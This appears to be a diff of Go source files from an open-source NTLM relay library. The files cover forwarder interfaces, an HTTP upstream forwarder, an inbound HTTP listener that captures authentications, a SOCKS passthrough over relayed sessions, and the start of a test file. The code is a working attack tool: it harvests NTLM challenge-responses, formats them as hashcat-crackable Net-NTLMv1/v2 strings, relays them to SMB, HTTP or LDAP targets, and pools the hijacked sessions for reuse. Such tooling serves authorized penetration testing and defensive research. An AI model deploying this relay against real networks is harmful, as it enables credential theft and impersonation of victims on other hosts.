// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package relay
import (
"fmt"
"net"
"github.com/jfjallid/go-smb/smb"
"github.com/jfjallid/go-smb/smb/server"
)
// Forwarder drives an upstream NTLMSSP exchange for one inbound auth. The
// interface boundary carries raw NTLMSSP (no SPNEGO, no HTTP framing) so the
// inbound listener stays protocol-agnostic. SPNEGO unwrapping is the
// listener's job; protocol-specific re-wrapping for the upstream client API
// is the forwarder's job.
type Forwarder interface {
Target() Target
Negotiate(neg []byte) (chal []byte, err error)
Authenticate(remote net.Addr, auth, mic []byte) (cred *Credential, status uint32, err error)
Close()
}
// SMBForwarder is the upstream-SMB specialization. Take transfers ownership
// of the authenticated *smb.Connection to the caller.
type SMBForwarder interface {
Forwarder
Take() *smb.Connection
}
// HTTPForwarder is the upstream-HTTP specialization. Take transfers ownership
// of the authenticated pinned-keepalive socket to the caller.
type HTTPForwarder interface {
Forwarder
Take() *httpUpstream
}
// LDAPForwarder is the upstream-LDAP specialization. Take transfers ownership
// of the authenticated LDAP connection to the caller.
type LDAPForwarder interface {
Forwarder
Take() *ldapUpstream
}
// newForwarderFor returns a forwarder bound to the supplied target. The
// returned value satisfies SMBForwarder, HTTPForwarder, or LDAPForwarder
// depending on target.Protocol; callers that need to pool the upstream
// type-switch on the concrete return value.
func newForwarderFor(t Target, cfg *ServerConfig, logger server.Logger) (Forwarder, error) {
switch t.Protocol {
case ProtoSMB:
return newSMBForwarder(t, cfg.UpstreamOptions, logger)
case ProtoHTTP, ProtoHTTPS:
return newHTTPForwarder(t, cfg.UpstreamDialTimeout, cfg.UpstreamHTTPSTLSConfig, logger), nil
case ProtoLDAP, ProtoLDAPS:
return newLDAPForwarder(t, cfg.UpstreamDialTimeout, cfg.UpstreamLDAPSTLSConfig, cfg.DisableLDAPStartTLS, logger), nil
}
return nil, fmt.Errorf("unsupported protocol %q", t.Protocol)
}
+349
View File
@@ -0,0 +1,349 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package relay
import (
"bufio"
"bytes"
"crypto/tls"
"encoding/base64"
"fmt"
"io"
"net"
"net/http"
"strings"
"sync"
"time"
"github.com/jfjallid/go-smb/ntlmssp"
"github.com/jfjallid/go-smb/smb"
"github.com/jfjallid/go-smb/smb/encoder"
"github.com/jfjallid/go-smb/smb/server"
)
// httpUpstream wraps a single TCP/TLS connection on which NTLM authentication
// has been completed against an upstream HTTP target. Per RFC 4559 §5 the
// connection-oriented NTLM state lives on the underlying socket; subsequent
// HTTP requests issued on the same socket inherit the authenticated identity.
//
// Concurrent requests on the same upstream are serialized via mu; HTTP/1.1
// keepalive is one-at-a-time anyway.
type httpUpstream struct {
Target Target
mu sync.Mutex
conn net.Conn
reader *bufio.Reader
closed bool
}
// newHTTPUpstream dials the upstream target. TLS is negotiated when
// Target.TLS is true. The caller is responsible for either driving NTLM via
// httpForwarder or using the upstream raw.
func newHTTPUpstream(target Target, dialTimeout time.Duration, tlsConfig *tls.Config) (*httpUpstream, error) {
if dialTimeout <= 0 {
dialTimeout = 10 * time.Second
}
d := &net.Dialer{Timeout: dialTimeout}
c, err := d.Dial("tcp", target.Host)
if err != nil {
return nil, fmt.Errorf("dial %s: %w", target.Host, err)
}
if target.TLS {
cfg := tlsConfig
if cfg == nil {
host, _, _ := net.SplitHostPort(target.Host)
cfg = &tls.Config{ServerName: host, InsecureSkipVerify: true}
}
tc := tls.Client(c, cfg)
if err := tc.Handshake(); err != nil {
c.Close()
return nil, fmt.Errorf("TLS handshake %s: %w", target.Host, err)
}
c = tc
}
return &httpUpstream{
Target: target,
conn: c,
reader: bufio.NewReader(c),
}, nil
}
// Close tears down the pinned upstream socket. Idempotent.
func (u *httpUpstream) Close() error {
u.mu.Lock()
defer u.mu.Unlock()
if u.closed {
return nil
}
u.closed = true
return u.conn.Close()
}
// IsClosed reports whether Close has been called.
func (u *httpUpstream) IsClosed() bool {
u.mu.Lock()
defer u.mu.Unlock()
return u.closed
}
// Lock / Unlock expose the upstream's serialization mutex so SOCKS-side
// passthroughs can hold it across a request/response round-trip.
func (u *httpUpstream) Lock() { u.mu.Lock() }
func (u *httpUpstream) Unlock() { u.mu.Unlock() }
// writeAndRead writes the supplied raw HTTP/1.1 request bytes and reads one
// HTTP response. Caller must hold u.mu (via Lock/Unlock or by calling from a
// path that already owns the mutex).
func (u *httpUpstream) writeAndRead(req []byte) (*http.Response, error) {
if u.closed {
return nil, fmt.Errorf("upstream closed")
}
if _, err := u.conn.Write(req); err != nil {
return nil, fmt.Errorf("write request: %w", err)
}
resp, err := http.ReadResponse(u.reader, nil)
if err != nil {
return nil, fmt.Errorf("read response: %w", err)
}
return resp, nil
}
// httpForwarder drives an upstream NTLM-over-HTTP exchange. One forwarder is
// used per inbound authenticating HTTP client (i.e. per inbound TCP
// connection that begins an NTLM handshake).
type httpForwarder struct {
target Target
logger server.Logger
dialer func(target Target) (*httpUpstream, error)
timeout time.Duration
upstream *httpUpstream
serverChallenge [8]byte
}
func newHTTPForwarder(target Target, timeout time.Duration, tlsConfig *tls.Config, logger server.Logger) *httpForwarder {
return &httpForwarder{
target: target,
logger: logger,
timeout: timeout,
dialer: func(t Target) (*httpUpstream, error) {
return newHTTPUpstream(t, timeout, tlsConfig)
},
}
}
// Target satisfies the Forwarder interface.
func (f *httpForwarder) Target() Target { return f.target }
// Negotiate dials the upstream, sends a GET carrying the inbound NTLMSSP
// NEGOTIATE in an Authorization: NTLM header, and returns the upstream's raw
// NTLMSSP CHALLENGE (decoded from its WWW-Authenticate response). The input
// is the raw NTLMSSP NEGOTIATE bytes (no base64, no SPNEGO wrap).
func (f *httpForwarder) Negotiate(negotiate []byte) ([]byte, error) {
if f.upstream != nil {
return nil, fmt.Errorf("negotiate called twice")
}
if len(negotiate) < 8 || string(negotiate[:7]) != "NTLMSSP" {
return nil, fmt.Errorf("negotiate: not an NTLMSSP message")
}
up, err := f.dialer(f.target)
if err != nil {
return nil, err
}
up.Lock()
defer up.Unlock()
req := buildHTTPNTLMRequest(f.target, "GET", negotiate)
resp, err := up.writeAndRead(req)
if err != nil {
up.Close()
return nil, fmt.Errorf("upstream NEGOTIATE: %w", err)
}
// Drain any body so the next request can reuse the pinned socket.
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
if resp.StatusCode != http.StatusUnauthorized {
up.Close()
return nil, fmt.Errorf("upstream did not challenge (status=%d)", resp.StatusCode)
}
chBytes, err := extractNTLMAuth(resp.Header.Values("WWW-Authenticate"))
if err != nil {
up.Close()
return nil, fmt.Errorf("parse WWW-Authenticate: %w", err)
}
chall := ntlmssp.NewChallenge()
if err := encoder.Unmarshal(chBytes, &chall); err == nil {
var b [8]byte
for i := 0; i < 8; i++ {
b[i] = byte(chall.ServerChallenge >> (8 * i))
}
f.serverChallenge = b
} else if f.logger != nil {
f.logger.Debugf("decode upstream CHALLENGE: %v", err)
}
f.upstream = up
return chBytes, nil
}
// Authenticate forwards a raw NTLMSSP AUTHENTICATE token to the upstream over
// the same pinned connection used for Negotiate. mic is ignored — NTLM over
// HTTP carries no SPNEGO MIC. Returns the captured Credential and an NT-style
// status: 0 on HTTP 2xx/3xx, smb.StatusLogonFailure on HTTP 4xx/5xx.
func (f *httpForwarder) Authenticate(remote net.Addr, authenticate, mic []byte) (*Credential, uint32, error) {
_ = mic // HTTP has no SPNEGO MIC.
if f.upstream == nil {
return nil, 0, fmt.Errorf("authenticate without prior Negotiate")
}
if len(authenticate) < 8 || string(authenticate[:7]) != "NTLMSSP" {
return nil, 0, fmt.Errorf("authenticate: not an NTLMSSP message")
}
var auth ntlmssp.Authenticate
if err := encoder.Unmarshal(authenticate, &auth); err != nil {
return nil, 0, fmt.Errorf("decode AUTHENTICATE: %w", err)
}
cred := buildCredentialFromAuth(&auth, f.serverChallenge, remote)
f.upstream.Lock()
defer f.upstream.Unlock()
req := buildHTTPNTLMRequest(f.target, "GET", authenticate)
resp, err := f.upstream.writeAndRead(req)
if err != nil {
return cred, 0, fmt.Errorf("upstream AUTHENTICATE: %w", err)
}
// Drain response body so the pinned socket is ready for the next request.
if resp.Body != nil {
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
}
if resp.StatusCode >= 400 {
return cred, smb.StatusLogonFailure, nil
}
return cred, smb.StatusOk, nil
}
// Take returns the upstream and zeroes the field. Close is a no-op afterwards.
func (f *httpForwarder) Take() *httpUpstream {
up := f.upstream
f.upstream = nil
return up
}
// Close tears down the upstream if still owned. Idempotent.
func (f *httpForwarder) Close() {
if f.upstream == nil {
return
}
f.upstream.Close()
f.upstream = nil
}
// buildHTTPNTLMRequest assembles a minimal HTTP/1.1 request with an
// Authorization: NTLM <base64> header. Connection: Keep-Alive is required so
// the upstream doesn't reset the socket between NEGOTIATE and AUTHENTICATE.
func buildHTTPNTLMRequest(target Target, method string, ntlmToken []byte) []byte {
hostHdr, _, _ := net.SplitHostPort(target.Host)
if hostHdr == "" {
hostHdr = target.Host
}
host, port, _ := net.SplitHostPort(target.Host)
defaultPort := "80"
if target.TLS {
defaultPort = "443"
}
if port != "" && port != defaultPort {
hostHdr = host + ":" + port
}
path := target.Path
if path == "" {
path = "/"
}
b := &bytes.Buffer{}
fmt.Fprintf(b, "%s %s HTTP/1.1\r\n", method, path)
fmt.Fprintf(b, "Host: %s\r\n", hostHdr)
fmt.Fprintf(b, "User-Agent: go-smb-relay/1.0\r\n")
fmt.Fprintf(b, "Authorization: NTLM %s\r\n", base64.StdEncoding.EncodeToString(ntlmToken))
fmt.Fprintf(b, "Accept: */*\r\n")
fmt.Fprintf(b, "Connection: Keep-Alive\r\n")
fmt.Fprintf(b, "Content-Length: 0\r\n")
fmt.Fprintf(b, "\r\n")
return b.Bytes()
}
// extractNTLMAuth returns the raw NTLMSSP token bytes from a slice of
// WWW-Authenticate or Authorization header values, accepting only the "NTLM"
// scheme. Returns an error if no NTLM scheme is present or the base64 payload
// is malformed.
func extractNTLMAuth(values []string) ([]byte, error) {
for _, v := range values {
v = strings.TrimSpace(v)
if v == "" {
continue
}
// Header form: "NTLM <base64>". Bare "NTLM" with no payload is the
// initial challenge prompt the server sends before the client has
// presented a NEGOTIATE — caller handles that case separately.
if len(v) < 4 || !strings.EqualFold(v[:4], "NTLM") {
continue
}
rest := strings.TrimSpace(v[4:])
if rest == "" {
return nil, fmt.Errorf("NTLM header has empty payload")
}
decoded, err := base64.StdEncoding.DecodeString(rest)
if err != nil {
return nil, fmt.Errorf("base64 decode: %w", err)
}
return decoded, nil
}
return nil, fmt.Errorf("no NTLM scheme in header values")
}
// buildCredentialFromAuth assembles a Credential from a parsed NTLMSSP
// Authenticate message and the server-side challenge that was used during the
// upstream exchange. Mirrors server.BuildCredential but takes net.Addr instead
// of *server.Conn so both forwarder backends share one code path.
func buildCredentialFromAuth(auth *ntlmssp.Authenticate, chal [8]byte, remote net.Addr) *Credential {
cred := &Credential{
LM: auth.LmChallengeResponse,
NT: auth.NtChallengeResponse,
ServerChallenge: chal,
RemoteAddr: remote,
}
cred.Username, _ = encoder.FromUnicodeString(auth.UserName)
cred.Domain, _ = encoder.FromUnicodeString(auth.DomainName)
cred.Workstation, _ = encoder.FromUnicodeString(auth.Workstation)
if len(auth.NtChallengeResponse) > 24 {
cred.Format = "Net-NTLMv2"
cred.Hashcat = fmt.Sprintf("%s::%s:%x:%x:%x",
cred.Username, cred.Domain, chal[:],
auth.NtChallengeResponse[:16], auth.NtChallengeResponse[16:])
} else if len(auth.NtChallengeResponse) == 24 {
cred.Format = "Net-NTLMv1"
cred.Hashcat = fmt.Sprintf("%s::%s:%x:%x:%x",
cred.Username, cred.Domain,
auth.LmChallengeResponse, auth.NtChallengeResponse, chal[:])
}
return cred
}
+278
View File
@@ -0,0 +1,278 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package relay
import (
"context"
"crypto/tls"
"encoding/base64"
"errors"
"fmt"
"net"
"net/http"
"sync"
"github.com/jfjallid/go-smb/smb"
"github.com/jfjallid/go-smb/smb/server"
)
// httpListenerState holds per-connection NTLM state on the inbound side. NTLM
// over HTTP (RFC 4559 §5) is connection-oriented: the NEGOTIATE and the
// AUTHENTICATE must traverse the same TCP connection so the server can
// correlate them.
type httpListenerState struct {
forwarder Forwarder
}
// httpListener is the inbound HTTP NTLM capture listener. Each accepted TCP
// connection drives a per-conn NTLM exchange that is forwarded onto a target
// chosen by the parent RelayServer.
type httpListener struct {
rs *RelayServer
srv *http.Server
ln net.Listener
logger server.Logger
stateMu sync.Mutex
states map[net.Conn]*httpListenerState
tlsConf *tls.Config
}
// newHTTPListener constructs (but does not start) an inbound HTTP listener.
// tlsConf, when non-nil, enables HTTPS on the inbound side.
func newHTTPListener(rs *RelayServer, tlsConf *tls.Config) *httpListener {
return &httpListener{
rs: rs,
logger: rs.logger(),
states: map[net.Conn]*httpListenerState{},
tlsConf: tlsConf,
}
}
// start binds the configured HTTP listen address and serves until Close.
func (l *httpListener) start(addr string) error {
if addr == "" {
return fmt.Errorf("empty listen addr")
}
ln, err := net.Listen("tcp", addr)
if err != nil {
return fmt.Errorf("listen %s: %w", addr, err)
}
l.ln = ln
l.srv = &http.Server{
Handler: http.HandlerFunc(l.handle),
ConnContext: func(ctx context.Context, c net.Conn) context.Context {
return context.WithValue(ctx, httpConnKey{}, c)
},
ConnState: l.onConnState,
}
go func() {
var serveErr error
if l.tlsConf != nil {
l.srv.TLSConfig = l.tlsConf
serveErr = l.srv.ServeTLS(ln, "", "")
} else {
serveErr = l.srv.Serve(ln)
}
if serveErr != nil && !errors.Is(serveErr, http.ErrServerClosed) {
l.logger.Errorf("relay http serve on %s: %v", ln.Addr(), serveErr)
}
}()
return nil
}
func (l *httpListener) close(ctx context.Context) error {
if l.srv == nil {
return nil
}
err := l.srv.Shutdown(ctx)
l.stateMu.Lock()
for c, st := range l.states {
if st.forwarder != nil {
st.forwarder.Close()
}
delete(l.states, c)
}
l.stateMu.Unlock()
return err
}
func (l *httpListener) addr() net.Addr {
if l.ln == nil {
return nil
}
return l.ln.Addr()
}
type httpConnKey struct{}
func (l *httpListener) onConnState(c net.Conn, state http.ConnState) {
if state != http.StateClosed && state != http.StateHijacked {
return
}
l.stateMu.Lock()
st, ok := l.states[c]
delete(l.states, c)
l.stateMu.Unlock()
if ok && st != nil && st.forwarder != nil {
st.forwarder.Close()
}
}
// handle is the http.Handler for the inbound listener. It steps the
// per-connection NTLM state machine and pools the resulting upstream after a
// successful AUTHENTICATE.
func (l *httpListener) handle(w http.ResponseWriter, r *http.Request) {
cfg := &l.rs.Config
c, _ := r.Context().Value(httpConnKey{}).(net.Conn)
auth := r.Header.Get("Authorization")
if auth == "" {
w.Header().Set("WWW-Authenticate", "NTLM")
w.Header().Set("Connection", "Keep-Alive")
w.Header().Set("Content-Length", "0")
w.WriteHeader(http.StatusUnauthorized)
return
}
token, err := extractNTLMAuth([]string{auth})
if err != nil {
l.logger.Debugf("bad Authorization header from %s: %v", r.RemoteAddr, err)
http.Error(w, "Bad Authorization", http.StatusBadRequest)
return
}
if len(token) < 12 || string(token[:7]) != "NTLMSSP" {
http.Error(w, "Bad NTLMSSP payload", http.StatusBadRequest)
return
}
// All NTLM message types we handle need the underlying net.Conn (to
// identify the source for target selection and to key per-conn NTLM
// state). The ConnContext hook always installs it; a nil here means an
// http.Server misconfiguration, not a malformed request.
if c == nil {
l.logger.Errorf("missing conn context for %s", r.RemoteAddr)
http.Error(w, "internal", http.StatusInternalServerError)
return
}
switch token[8] {
case 0x01: // NEGOTIATE
target, ok := l.pickTarget(c.RemoteAddr())
if !ok {
l.rs.notifyFailure("", fmt.Errorf("no targets configured"))
http.Error(w, "no targets", http.StatusServiceUnavailable)
return
}
fwd, err := newForwarderFor(target, cfg, l.logger)
if err != nil {
l.rs.notifyFailure(target.String(), err)
http.Error(w, "no forwarder", http.StatusBadGateway)
return
}
chBytes, err := fwd.Negotiate(token)
if err != nil {
fwd.Close()
l.rs.notifyFailure(target.String(), err)
http.Error(w, "upstream error", http.StatusBadGateway)
return
}
l.stateMu.Lock()
if prev := l.states[c]; prev != nil && prev.forwarder != nil {
prev.forwarder.Close()
}
l.states[c] = &httpListenerState{forwarder: fwd}
l.stateMu.Unlock()
w.Header().Set("WWW-Authenticate", "NTLM "+base64.StdEncoding.EncodeToString(chBytes))
w.Header().Set("Connection", "Keep-Alive")
w.Header().Set("Content-Length", "0")
w.WriteHeader(http.StatusUnauthorized)
case 0x03: // AUTHENTICATE
l.stateMu.Lock()
st := l.states[c]
delete(l.states, c)
l.stateMu.Unlock()
if st == nil || st.forwarder == nil {
l.logger.Debugf("AUTHENTICATE without prior NEGOTIATE on %s", r.RemoteAddr)
http.Error(w, "missing NEGOTIATE", http.StatusBadRequest)
return
}
fwd := st.forwarder
cred, upstreamStatus, err := fwd.Authenticate(c.RemoteAddr(), token, nil)
var slot *captureSlot
if cred != nil {
if cb := cfg.OnCredentialCaptured; cb != nil {
cb(nil, cred)
}
slot = l.rs.captureRecord(cred, fwd.Target().String())
}
if err != nil {
fwd.Close()
slot.finalize(CaptureStatusRelayFailed)
l.rs.notifyFailure(fwd.Target().String(), err)
http.Error(w, "upstream error", http.StatusBadGateway)
return
}
if upstreamStatus != smb.StatusOk {
fwd.Close()
slot.finalize(CaptureStatusUpstreamRejected)
l.rs.notifyFailure(fwd.Target().String(), fmt.Errorf("upstream rejected (status=0x%08x)", upstreamStatus))
w.Header().Set("Content-Length", "0")
w.WriteHeader(http.StatusUnauthorized)
return
}
ps := l.rs.poolFromForwarder(fwd, cred)
l.rs.pool.Add(ps)
l.rs.markUsed(fwd.Target().Host, ps.Established)
slot.finalize(CaptureStatusRelayed)
l.logger.Noticef("%s -> %s (%s)", credLabel(cred), fwd.Target().String(), cred.Format)
if cb := cfg.OnRelaySuccess; cb != nil {
cb(fwd.Target().String(), ps.Conn, cred)
}
if ps.Conn != nil && len(cfg.PostAuthActions) > 0 {
l.rs.wg.Add(1)
go l.rs.runActions(ps)
}
w.Header().Set("Content-Length", "0")
w.WriteHeader(http.StatusUnauthorized)
default:
http.Error(w, "Bad NTLM message type", http.StatusBadRequest)
}
}
// pickTarget returns one target candidate for an HTTP-inbound auth. The HTTP
// listener can relay onto any protocol, so the full parsed Targets list is
// passed to SelectTarget; restricting candidates is the caller's choice.
func (l *httpListener) pickTarget(remote net.Addr) (Target, bool) {
targets := l.rs.snapshotTargets()
if len(targets) == 0 {
return Target{}, false
}
l.rs.mu.Lock()
lastUsed := l.rs.lastUsed
l.rs.mu.Unlock()
t := (*l.rs.selectTarget.Load())(targets, remote, lastUsed)
if t.Host == "" {
return Target{}, false
}
return t, true
}
+228
View File
@@ -0,0 +1,228 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package relay
import (
"bufio"
"bytes"
"context"
"errors"
"fmt"
"io"
"net"
"net/http"
"strings"
"github.com/jfjallid/go-smb/smb/server"
)
// HTTPPassthrough handles a SOCKS-fronted HTTP conversation by raw-forwarding
// each request over the pooled upstream HTTP connection. The pinned upstream
// socket carries the NTLM-authenticated identity (per RFC 4559 §5), so the
// SOCKS-side client never sees the auth handshake — it just issues plain
// HTTP/1.1 requests and we forward them.
//
// The Authorization header (if any) is stripped from the inbound request so
// the SOCKS client cannot break the upstream's NTLM context.
type HTTPPassthrough struct {
Local net.Conn
Target string // upstream "host:port"
Upstream *pooledSession
Resolve func(target string) *pooledSession
Logger server.Logger
}
// Run reads HTTP/1.1 requests from Local in a loop and forwards each over the
// pinned upstream connection. Returns when Local closes (clean EOF) or on
// transport error.
func (p *HTTPPassthrough) Run(ctx context.Context) error {
if p.Logger == nil {
p.Logger = log
}
if p.Upstream == nil && p.Resolve != nil {
p.Upstream = p.Resolve(p.Target)
}
if p.Upstream == nil || p.Upstream.HTTP == nil {
return p.writeBadGatewayAndClose("no pooled HTTP session for " + p.Target)
}
reader := bufio.NewReader(p.Local)
for {
req, err := http.ReadRequest(reader)
if err != nil {
if errors.Is(err, io.EOF) || errors.Is(err, net.ErrClosed) {
return nil
}
return fmt.Errorf("read inbound HTTP request: %w", err)
}
// Don't let the SOCKS-side client inject its own Authorization. The
// upstream NTLM context lives on the pinned socket and would be
// confused by a fresh NTLM token mid-stream.
req.Header.Del("Authorization")
req.Header.Del("Proxy-Authorization")
// We pin one upstream socket — never close it from the SOCKS side.
req.Header.Set("Connection", "Keep-Alive")
req.Header.Del("Proxy-Connection")
// Replace the Host header with the upstream's host so the upstream
// routes the request correctly (the SOCKS client may have used a
// different name).
req.Host = upstreamHostHeader(p.Target, p.Upstream.HTTP.Target.TLS)
// Drain the body into memory if any (we need to know its length to
// emit Content-Length, and to release the bufio reader to the
// passthrough loop).
var body []byte
if req.ContentLength != 0 && req.Body != nil {
body, err = io.ReadAll(req.Body)
_ = req.Body.Close()
if err != nil {
return fmt.Errorf("read inbound body: %w", err)
}
}
resp, err := p.forwardOne(req, body)
if err != nil {
p.Logger.Debugf("forward to %s: %v", p.Target, err)
p.Upstream.MarkDead()
return fmt.Errorf("forward to %s: %w", p.Target, err)
}
p.Logger.Debugf("upstream %s -> %d", p.Target, resp.StatusCode)
// Pipe response back to local. Strip hop-by-hop / NTLM headers that
// would otherwise leak the upstream auth state.
for _, h := range hopByHopHeaders {
resp.Header.Del(h)
}
resp.Header.Del("WWW-Authenticate")
if err := writeResponse(p.Local, resp); err != nil {
resp.Body.Close()
return fmt.Errorf("write response: %w", err)
}
resp.Body.Close()
p.Upstream.Touch()
if req.Close || strings.EqualFold(req.Header.Get("Connection"), "close") {
return nil
}
}
}
// forwardOne sends one request/body over the pinned upstream socket and
// returns the response. Holds Upstream.HTTP.mu for the round-trip so multiple
// SOCKS clients on the same pooled session don't interleave.
//
// The request is serialized manually rather than via http.Request.Write so
// the inbound request's headers pass through verbatim (Authorization is
// already stripped earlier in Run) and we control framing for the pinned
// keepalive socket.
func (p *HTTPPassthrough) forwardOne(req *http.Request, body []byte) (*http.Response, error) {
p.Upstream.mu.Lock()
defer p.Upstream.mu.Unlock()
p.Upstream.HTTP.Lock()
defer p.Upstream.HTTP.Unlock()
path := req.URL.RequestURI()
if path == "" {
path = "/"
}
hdr := &bytes.Buffer{}
fmt.Fprintf(hdr, "%s %s HTTP/1.1\r\n", req.Method, path)
fmt.Fprintf(hdr, "Host: %s\r\n", req.Host)
// Drop existing Content-Length / Transfer-Encoding; we re-emit based on
// the buffered body length.
req.Header.Del("Content-Length")
req.Header.Del("Transfer-Encoding")
if err := req.Header.WriteSubset(hdr, nil); err != nil {
return nil, fmt.Errorf("write headers: %w", err)
}
fmt.Fprintf(hdr, "Content-Length: %d\r\n", len(body))
fmt.Fprintf(hdr, "Connection: Keep-Alive\r\n")
hdr.WriteString("\r\n")
if _, err := p.Upstream.HTTP.conn.Write(hdr.Bytes()); err != nil {
return nil, err
}
if len(body) > 0 {
if _, err := p.Upstream.HTTP.conn.Write(body); err != nil {
return nil, err
}
}
resp, err := http.ReadResponse(p.Upstream.HTTP.reader, req)
if err != nil {
return nil, err
}
return resp, nil
}
// writeBadGatewayAndClose emits a minimal 502 to Local and returns nil.
func (p *HTTPPassthrough) writeBadGatewayAndClose(msg string) error {
body := []byte(msg + "\r\n")
hdr := fmt.Sprintf("HTTP/1.1 502 Bad Gateway\r\nContent-Length: %d\r\nConnection: close\r\n\r\n", len(body))
if _, err := p.Local.Write([]byte(hdr)); err != nil {
return err
}
_, _ = p.Local.Write(body)
return nil
}
// writeResponse serializes an *http.Response onto the supplied writer in
// HTTP/1.1 wire format. Sends Content-Length when known; falls back to
// streamed chunked for unknown length.
func writeResponse(w net.Conn, resp *http.Response) error {
// http.Response.Write writes the response in wire format including
// Status line and body. Use it directly.
return resp.Write(w)
}
// hopByHopHeaders is the standard RFC 7230 §6.1 hop-by-hop list. Strip from
// responses we proxy back to the SOCKS client.
var hopByHopHeaders = []string{
"Connection",
"Keep-Alive",
"Proxy-Authenticate",
"Proxy-Authorization",
"TE",
"Trailer",
"Transfer-Encoding",
"Upgrade",
}
// upstreamHostHeader returns the Host header value to send upstream. If the
// upstream port is the scheme default (80/443), the bare host is returned;
// otherwise host:port.
func upstreamHostHeader(target string, isTLS bool) string {
host, port, err := net.SplitHostPort(target)
if err != nil {
return target
}
defaultPort := "80"
if isTLS {
defaultPort = "443"
}
if port == defaultPort {
return host
}
return host + ":" + port
}
+412
View File
@@ -0,0 +1,412 @@
// MIT License
//
// Copyright (c) 2026 Jimmy Fjällid
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package relay_test
import (
"bufio"
"context"
"encoding/base64"
"fmt"
"io"
"net"
"net/http"
"strings"
"sync"
"sync/atomic"
"testing"
"time"
"github.com/jfjallid/go-smb/ntlmssp"
"github.com/jfjallid/go-smb/relay"
"github.com/jfjallid/go-smb/smb/server"
)
// ntlmHTTPUpstream is a tiny NTLM-accepting HTTP server used in HTTP relay
// tests. It mimics IIS: bare 401+WWW-Authenticate:NTLM with no payload to
// prompt the client, then the standard 3-leg dance keyed by *http.Server's
// per-connection state. Once authenticated, requests on the same TCP
// connection return 200 with the configured protected payload (no further
// auth required).
type ntlmHTTPUpstream struct {
